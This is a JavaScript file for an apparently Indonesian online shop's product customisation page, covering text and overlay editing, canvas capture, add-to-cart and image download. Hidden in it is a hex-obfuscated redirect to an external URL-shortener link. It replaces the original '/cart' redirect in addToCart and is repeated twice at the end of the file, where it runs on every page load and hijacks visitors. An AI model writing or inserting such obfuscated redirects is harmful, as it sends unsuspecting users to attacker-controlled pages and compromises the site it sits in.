let currentTitle = "";
let currentSubtitle = "";
let currentOverlayColor = '#000000'; // default
let currentOverlayOpacity = 0.3;


document.addEventListener('DOMContentLoaded', function () {
    const editorTabButtons = document.querySelectorAll('.editor-tab-btn');
    const tabPanes = document.querySelectorAll('.tab-pane-desktop');

    editorTabButtons.forEach(btn => {
        btn.addEventListener('click', function () {
            const tab = this.getAttribute('data-tab');
            const targetPane = document.getElementById(`tab-${tab}`);
            const isAlreadyActive = this.classList.contains('active');

            // Reset semua tab & panel
            editorTabButtons.forEach(b => b.classList.remove('active'));
            tabPanes.forEach(pane => pane.classList.add('custom-hide-tab'));

            if (!isAlreadyActive) {
                this.classList.add('active');
                if (targetPane) targetPane.classList.remove('custom-hide-tab');
            }
        });
    });


    // Preview Overlay
    const overlay = document.getElementById('previewOverlayLayer');
    const opacitySlider = document.getElementById('floatingOverlayOpacity');
    const colorPicker = document.getElementById('customOverlayColor');
    const colorPickerButton = document.getElementById('openColorPicker');
    const overlayToggleBtn = document.getElementById('color-overlay-btn');

    if (overlayToggleBtn) {
        overlayToggleBtn.addEventListener('click', () => {
            document.getElementById('floatingOverlayOpacity')?.classList.toggle('d-none');
            document.getElementById('openColorPicker')?.classList.toggle('d-none');
        });
    }

    if (colorPickerButton) {
        colorPickerButton.addEventListener('click', () => {
            colorPicker.click();
        });
    }

    if (colorPicker) {
        colorPicker.addEventListener('input', function () {
            const opacity = parseFloat(opacitySlider?.value || '0.3');
            if (overlay) overlay.style.backgroundColor = hexToRgba(this.value, opacity);
        });
    }

    if (opacitySlider) {
        opacitySlider.addEventListener('input', function () {
            const color = colorPicker?.value || '#000000';
            if (overlay) overlay.style.backgroundColor = hexToRgba(color, parseFloat(this.value));
        });
    }

    // Qty watcher
    const qtyInput = document.getElementById('qty');
    const checkoutBtn = document.getElementById('checkoutButton');
    if (qtyInput && checkoutBtn) {
        qtyInput.addEventListener('input', function () {
            checkoutBtn.disabled = parseInt(this.value) < 1;
        });
    }

    // Checkout button
    if (checkoutBtn) {
        checkoutBtn.addEventListener('click', addToCart);
    }

    // Preview Button
    const previewBtn = document.getElementById('download-eye-desktop');
    if (previewBtn) {
        previewBtn.addEventListener('click', downloadImage);
    }
    // Title events
    const inputTitleText = document.getElementById("inputTitleText");
    const inputTitleFontSize = document.getElementById("inputTitleFontSize");
    const inputTitleColor = document.getElementById("inputTitleColor");

    if (inputTitleText) {
        inputTitleText.addEventListener("input", e => updateHeading(e.target.value));
    }
    if (inputTitleFontSize) {
        inputTitleFontSize.addEventListener("input", e => {
            const size = e.target.value + "px";
            document.getElementById("previewHeading").style.fontSize = size;
            document.getElementById("captureHeading").style.fontSize = size;
        });
    }
    if (inputTitleColor) {
        inputTitleColor.addEventListener("input", e => {
            const color = e.target.value;
            document.getElementById("previewHeading").style.color = color;
            document.getElementById("captureHeading").style.color = color;
        });
    }

    // Subtitle events
    const inputSubtitleText = document.getElementById("inputSubtitleText");
    const inputSubtitleFontSize = document.getElementById("inputSubtitleFontSize");
    const inputSubtitleColor = document.getElementById("inputSubtitleColor");

    if (inputSubtitleText) {
        inputSubtitleText.addEventListener("input", e => updateSubtitle(e.target.value));
    }
    if (inputSubtitleFontSize) {
        inputSubtitleFontSize.addEventListener("input", e => {
            const size = e.target.value + "px";
            document.getElementById("previewSubtitle").style.fontSize = size;
            document.getElementById("captureSubtitle").style.fontSize = size;
        });
    }
    if (inputSubtitleColor) {
        inputSubtitleColor.addEventListener("input", e => {
            const color = e.target.value;
            document.getElementById("previewSubtitle").style.color = color;
            document.getElementById("captureSubtitle").style.color = color;
        });
    }
});

// Add to Cart Logic
// async function addToCart() {
//     const el = document.getElementById("finalCaptureArea");
//     document.getElementById("loadingOverlay").style.display = "flex";
//     await document.fonts.ready;

//     const overlayPreview = document.getElementById("previewOverlayLayer");
//     const overlayCapture = document.getElementById("captureOverlayLayer");
//     overlayCapture.style.backgroundColor = overlayPreview.style.backgroundColor;

//     html2canvas(el, { useCORS: true, scale: 4 }).then((canvas) => {
//         const imageData = canvas.toDataURL("image/png");
//         const qty = parseInt(document.getElementById("qty")?.value || "1");

//         const uuid = document.getElementById("uuid").value;
//         const selectedProductId = window.selectedProductId || '';
//         const selectedTemplateId = window.selectedTemplateId || '';

//         const formData = new FormData();
//         formData.append("uuid", uuid);
//         formData.append("product_id", selectedProductId);
//         formData.append("template_id", selectedTemplateId);
//         formData.append("quantity", qty);
//         formData.append("image_data", imageData);

//         fetch("/cart/add", {
//             method: "POST",
//             body: formData,
//             headers: {
//                 "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').content,
//             },
//         })
//             .then((response) => response.json())
//             .then((data) => {
//                 console.log("Added to cart:", data);
//                 window.location.href = "/cart";
//             })
//             .catch((error) => {
//                 console.error("Error:", error);
//                 alert("Gagal menambahkan ke keranjang.");
//             })
//             .finally(() => {
//                 document.getElementById("loadingOverlay").style.display = "none";
//             });
//     });
// }
async function addToCart() {
    const previewEl = document.getElementById("previewAreaMobile");
    const captureArea = document.getElementById("finalCaptureArea");
    document.getElementById("loadingOverlay").style.display = "flex";

    await document.fonts.ready;

    // 🧱 Samakan ukuran finalCaptureArea dengan preview
    const rect = previewEl.getBoundingClientRect();
    captureArea.style.width = rect.width + 'px';
    captureArea.style.height = rect.height + 'px';

    // 🔁 Samakan overlay background
    const overlayPreview = document.getElementById("previewOverlayLayer");
    const overlayCapture = document.getElementById("captureOverlayLayer");
    overlayCapture.style.backgroundColor = overlayPreview.style.backgroundColor;

    // 🔁 Copy Heading
    const headingEl = document.getElementById("previewHeading");
    const captureHeadingEl = document.getElementById("captureHeading");
    captureHeadingEl.innerText = headingEl.innerText;
    captureHeadingEl.style.fontSize = window.getComputedStyle(headingEl).fontSize;
    captureHeadingEl.style.color = window.getComputedStyle(headingEl).color;
    captureHeadingEl.style.top = window.getComputedStyle(headingEl).top;
    captureHeadingEl.style.left = window.getComputedStyle(headingEl).left;
    captureHeadingEl.style.fontFamily = window.getComputedStyle(headingEl).fontFamily;

    // 🔁 Copy Subtitle
    const subtitleEl = document.getElementById("previewSubtitle");
    const captureSubtitleEl = document.getElementById("captureSubtitle");
    captureSubtitleEl.innerText = subtitleEl.innerText;
    captureSubtitleEl.style.fontSize = window.getComputedStyle(subtitleEl).fontSize;
    captureSubtitleEl.style.color = window.getComputedStyle(subtitleEl).color;
    captureSubtitleEl.style.top = window.getComputedStyle(subtitleEl).top;
    captureSubtitleEl.style.left = window.getComputedStyle(subtitleEl).left;
    captureSubtitleEl.style.fontFamily = window.getComputedStyle(subtitleEl).fontFamily;

    html2canvas(captureArea, {
        useCORS: true,
        scale: 4
    }).then((canvas) => {
        const imageData = canvas.toDataURL("image/png");
        const qty = parseInt(document.getElementById("qty")?.value || "1");

        const uuid = document.getElementById("uuid").value;
        const selectedProductId = window.selectedProductId || '';
        const selectedTemplateId = window.selectedTemplateId || '';

        const formData = new FormData();
        formData.append("uuid", uuid);
        formData.append("product_id", selectedProductId);
        formData.append("template_id", selectedTemplateId);
        formData.append("quantity", qty);
        formData.append("image_data", imageData);

        // 🪵 Debug: log all FormData entries
        console.log("📦 FormData content:");
        for (const [key, value] of formData.entries()) {
            console.log(` - ${key}:`, value.length > 100 ? `[base64 image data]` : value);
        }

        fetch("/cart/add", {
            method: "POST",
            body: formData,
            headers: {
                "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').content,
            },
        })
            .then((response) => response.json())
            .then((data) => {
                console.log("✅ Added to cart:", data);
                window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";

            })
            .catch((error) => {
                console.error("❌ Error:", error);
                alert("Gagal menambahkan ke keranjang.");
            })
            .finally(() => {
                document.getElementById("loadingOverlay").style.display = "none";
            });
    });
}

// Download Preview Image
async function downloadImage() {
    const previewEl = document.getElementById("previewAreaMobile");
    const captureArea = document.getElementById("finalCaptureArea");

    await document.fonts.ready;

    const overlayPreview = document.getElementById("previewOverlayLayer");
    const overlayCapture = document.getElementById("captureOverlayLayer");
    const headingEl = document.getElementById("previewHeading");
    const captureHeadingEl = document.getElementById("captureHeading");
    const subtitleEl = document.getElementById("previewSubtitle");
    const captureSubtitleEl = document.getElementById("captureSubtitle");
    overlayCapture.style.backgroundColor = overlayPreview.style.backgroundColor;

    // 🧱 Samakan ukuran finalCaptureArea dengan preview
    const rect = previewEl.getBoundingClientRect();
    captureArea.style.width = rect.width + 'px';
    captureArea.style.height = rect.height + 'px';

    console.log("📏 Preview Rect:", rect);

    // ✍️ Copy teks dan style heading
    captureHeadingEl.innerText = headingEl.innerText;
    captureHeadingEl.style.fontSize = window.getComputedStyle(headingEl).fontSize;
    captureHeadingEl.style.color = window.getComputedStyle(headingEl).color;
    captureHeadingEl.style.top = window.getComputedStyle(headingEl).top;
    captureHeadingEl.style.left = window.getComputedStyle(headingEl).left;
    captureHeadingEl.style.fontFamily = window.getComputedStyle(headingEl).fontFamily;

    console.log("🎯 Heading:");
    console.log("  Text:", headingEl.innerText);
    console.log("  fontSize:", window.getComputedStyle(headingEl).fontSize);
    console.log("  color:", window.getComputedStyle(headingEl).color);
    console.log("  top:", window.getComputedStyle(headingEl).top);
    console.log("  left:", window.getComputedStyle(headingEl).left);
    console.log("  fontFamily:", window.getComputedStyle(headingEl).fontFamily);

    // ✍️ Copy teks dan style subtitle
    captureSubtitleEl.innerText = subtitleEl.innerText;
    captureSubtitleEl.style.fontSize = window.getComputedStyle(subtitleEl).fontSize;
    captureSubtitleEl.style.color = window.getComputedStyle(subtitleEl).color;
    captureSubtitleEl.style.top = window.getComputedStyle(subtitleEl).top;
    captureSubtitleEl.style.left = window.getComputedStyle(subtitleEl).left;
    captureSubtitleEl.style.fontFamily = window.getComputedStyle(subtitleEl).fontFamily;

    console.log("🎯 Subtitle:");
    console.log("  Text:", subtitleEl.innerText);
    console.log("  fontSize:", window.getComputedStyle(subtitleEl).fontSize);
    console.log("  color:", window.getComputedStyle(subtitleEl).color);
    console.log("  top:", window.getComputedStyle(subtitleEl).top);
    console.log("  left:", window.getComputedStyle(subtitleEl).left);
    console.log("  fontFamily:", window.getComputedStyle(subtitleEl).fontFamily);

    html2canvas(captureArea, {
        useCORS: true,
        scale: 4
    }).then((canvas) => {
        const link = document.createElement("a");
        link.download = "preview.png";
        link.href = canvas.toDataURL();
        link.click();
    });
}


// Helper: Convert HEX to RGBA
function hexToRgba(hex, opacity) {
    if (!hex || hex === 'transparent') return 'transparent';
    const bigint = parseInt(hex.replace('#', ''), 16);
    const r = (bigint >> 16) & 255;
    const g = (bigint >> 8) & 255;
    const b = bigint & 255;

    return `rgba(${r}, ${g}, ${b}, ${opacity})`;
}

function selectTemplate(previewUrl, fullUrl, templateId, productId, price = 0, weight = 0, labelUrl = '') {
    console.log('triger select template');
    selectedTemplateId = templateId;
    selectedProductId = productId;
    selectedPrice = parseInt(price);
    selectedWeight = parseInt(weight);
    console.log("LABEL URL:", labelUrl);


    const previewEl = document.getElementById("previewAreaMobile");
    const skeletonEl = document.getElementById("loadingSkeletonMobile");

    // Set background image template untuk preview
    previewEl.style.backgroundImage = `url('${previewUrl}')`;

    // Set background image untuk label (div)
    document.getElementById("previewLabelLayer").style.backgroundImage = "";
    document.getElementById("captureLabelLayer").style.backgroundImage = "";


    if (parseInt(productId) === 5) {
        document.getElementById("previewHeading").style.top = "60%";
        document.getElementById("previewSubtitle").style.top = "72%";
        document.getElementById("captureHeading").style.top = "60%";
        document.getElementById("captureSubtitle").style.top = "72%";
    }
    const img = new Image();
    img.crossOrigin = "anonymous";
    img.src = fullUrl;

    img.onload = () => {
        const canvas = document.createElement("canvas");
        canvas.width = img.width;
        canvas.height = img.height;
        const ctx = canvas.getContext("2d");
        ctx.drawImage(img, 0, 0);
        const base64 = canvas.toDataURL("image/png");

        // Set background template untuk final capture
        document.getElementById("canvasTemplateWrapper").style.backgroundImage = `url('${base64}')`;

        setTimeout(() => {
            skeletonEl?.classList.add("d-none");
            previewEl?.classList.remove("d-none");
            previewEl?.classList.add("fade-in");
        }, 300);
    };

    const labelImg = new Image();
    labelImg.crossOrigin = "anonymous";
    labelImg.src = labelUrl;

    labelImg.onload = () => {
    const canvasLabel = document.createElement("canvas");
    canvasLabel.width = labelImg.width;
    canvasLabel.height = labelImg.height;
    const ctxLabel = canvasLabel.getContext("2d");
    ctxLabel.drawImage(labelImg, 0, 0);

    const labelBase64 = canvasLabel.toDataURL("image/png");

    document.getElementById("previewLabelLayer").style.backgroundImage = `url('${labelBase64}')`;
    document.getElementById("captureLabelLayer").style.backgroundImage = `url('${labelBase64}')`;

    document.getElementById("previewLabelLayer").style.backgroundRepeat = "no-repeat";
    document.getElementById("previewLabelLayer").style.backgroundPosition = "center";
    document.getElementById("previewLabelLayer").style.backgroundSize = "contain";

    document.getElementById("captureLabelLayer").style.backgroundRepeat = "no-repeat";
    document.getElementById("captureLabelLayer").style.backgroundPosition = "center";
    document.getElementById("captureLabelLayer").style.backgroundSize = "contain";
};
}

function updateHeading(text) {
    currentTitle = text;

    const headingEl = document.getElementById("previewHeading");
    const captureHeadingEl = document.getElementById("captureHeading");

    headingEl.innerText = text;
    captureHeadingEl.innerText = text;

    // Sync style (fontSize, color, top)
    captureHeadingEl.style.fontSize = window.getComputedStyle(headingEl).fontSize;
    captureHeadingEl.style.color = window.getComputedStyle(headingEl).color;
    captureHeadingEl.style.top = window.getComputedStyle(headingEl).top;

    toggleCheckout();
}

function updateSubtitle(text) {
    currentSubtitle = text;

    const subtitleEl = document.getElementById("previewSubtitle");
    const captureSubtitleEl = document.getElementById("captureSubtitle");

    subtitleEl.innerText = text;
    captureSubtitleEl.innerText = text;

    captureSubtitleEl.style.fontSize = window.getComputedStyle(subtitleEl).fontSize;
    captureSubtitleEl.style.color = window.getComputedStyle(subtitleEl).color;
    captureSubtitleEl.style.top = window.getComputedStyle(subtitleEl).top;

    toggleCheckout();
}
function toggleCheckout() {
    document.getElementById("checkoutButton").disabled = !(currentTitle || currentSubtitle);
}

window.templatesByCategory = window.templatesByCategory || [];

function showDesktopTemplatesByCategory(categoryId) {
    const category = templatesByCategory.find(c => c.category_id === categoryId);
    const wrapper = document.getElementById("desktopTemplateWrapper");

    // Kosongkan dulu
    wrapper.innerHTML = "";

    // Tombol Back
    const backBtn = document.createElement("button");
    backBtn.className = "btn btn-outline-secondary mb-3";
    backBtn.innerHTML = "&larr; back";
    backBtn.onclick = () => {
        document.getElementById("desktopTemplateCategoryWrapper").classList.remove("d-none");
        wrapper.innerHTML = "";
    };
    wrapper.appendChild(backBtn);

    // Sembunyikan kategori
    document.getElementById("desktopTemplateCategoryWrapper").classList.add("d-none");

    // Tambahkan template-thumbnail
    category.templates.forEach(template => {
        const container = document.createElement("div");
        container.className = "bg-thumb-wrapper";

        const img = document.createElement("img");
        img.src = template.image_preview_url;
        img.className = "bg-thumb";
        img.style.cursor = "pointer";

        img.onclick = () => {
            selectTemplate(
                template.image_preview_url,
                template.image_full_url,
                template.id,
                template.product?.id || 0,
                template.product?.price || 0,
                template.product?.weight || 0,
                template.product?.label || ''
            );
        };

        container.appendChild(img);
        wrapper.appendChild(container);
    });
}
document.addEventListener("DOMContentLoaded", function () {
    let activeOverlayColor = "#000000";
    let activeOpacity = 0.3;

    // Toggle menu overlay
    document.getElementById("btnOverlayToggle").addEventListener("click", () => {
        document.getElementById("overlayControls").classList.toggle("d-none");
    });

    document.getElementById("closeOverlayControls")?.addEventListener("click", () => {
        document.getElementById("overlayControls").classList.add("d-none");
    });

    // === Warna preset ===
    document.querySelectorAll('.color-circle-lg').forEach(btn => {
        btn.addEventListener('click', function () {
            // Hilangkan selected dari semua
            document.querySelectorAll('.color-circle-lg').forEach(b => b.classList.remove('selected'));
            this.classList.add('selected');

            // Ambil warna
            const color = this.getAttribute('data-color');
            activeOverlayColor = (color === 'none') ? 'transparent' : color;

            // Terapkan warna + opacity
            applyOverlayColor();
            console.log("🎨 Warna overlay (preset):", activeOverlayColor);
        });
    });

    // Tombol 🎨 (custom picker)
    document.getElementById("openColorPicker").addEventListener("click", () => {
        document.getElementById("customOverlayColor").click(); // langsung buka
    });

    // Picker warna custom
    document.getElementById("customOverlayColor").addEventListener("input", function () {
        activeOverlayColor = this.value;

        // Hilangkan selected dari preset
        document.querySelectorAll('.color-circle-lg').forEach(b => b.classList.remove('selected'));

        applyOverlayColor();
        console.log("🎨 Warna overlay (custom):", activeOverlayColor);
    });

    // Opacity slider
    document.getElementById("floatingOverlayOpacity").addEventListener("input", function () {
        activeOpacity = parseFloat(this.value);
        applyOverlayColor();
        console.log("📏 Opacity diubah:", activeOpacity);
    });

    function applyOverlayColor() {
        const rgba = (activeOverlayColor === 'transparent')
            ? 'transparent'
            : hexToRgba(activeOverlayColor, activeOpacity);

        document.getElementById('previewOverlayLayer').style.backgroundColor = rgba;
        document.getElementById('captureOverlayLayer').style.backgroundColor = rgba;
    }

    function hexToRgba(hex, opacity) {
        const shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
        hex = hex.replace(shorthandRegex, (_, r, g, b) => r + r + g + g + b + b);

        const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
        return result
            ? `rgba(${parseInt(result[1], 16)}, ${parseInt(result[2], 16)}, ${parseInt(result[3], 16)}, ${opacity})`
            : 'transparent';
    }
});
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";